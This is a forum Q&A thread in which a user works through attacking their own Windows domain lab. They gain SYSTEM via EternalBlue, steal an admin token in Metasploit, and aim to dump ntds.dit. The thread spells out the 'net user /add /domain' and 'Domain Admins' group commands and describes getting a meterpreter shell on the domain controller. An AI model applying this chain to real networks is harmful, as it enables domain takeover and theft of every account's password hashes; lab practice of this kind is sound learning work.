I'm trying to hack my domain controller lab. I created a lab with 4 PC's and 1 servers (2012 R2). I succeeded in hacking one of the PC's via the EternalBlue exploit. So when I run whoami i got : NT AUTHORITY\system

When I'm trying to steal the token for process running by domain controller admin :

Process task list

CDAC/Administrator is for my domain controller .. and I used the following command in metasploit : steal_token PID ... I successfully get the privileges but what I need to do is to add a new user on that domain controller and connect to that user via SMB and dump ntds.dit to get all the hashes for all PC's on the domain.

Can any one explain how to do that please ?

  • i solve it by : net user evilboss password123 /add /domain net user evilboss password123 /add /domain \ C:\Windows\system32>net group "Domain Admins" evilboss /add /domain ..... but when i try to use exploit/windows/smb/psexec i got this error : - Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::LoginError Login Failed: The server responded with error: STATUS_LOGON_FAILURE (Command=115 WordCount=0) [*] Exploit completed, but no session was created.
    – evilcode1
    Commented Oct 17, 2017 at 10:15

1 Answer 1


It's solved. I just add another user name and add that user to domain group. Command's I used:

net user heyheyhey password123$ /add /domain 
net group "Domain Admins" evilboss /add /domain

And then I connect via rdesktop and I used powershell payload to get meterpreter on domain controller server.

  • ok i'll edit it
    – evilcode1
    Commented Oct 18, 2017 at 5:23

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .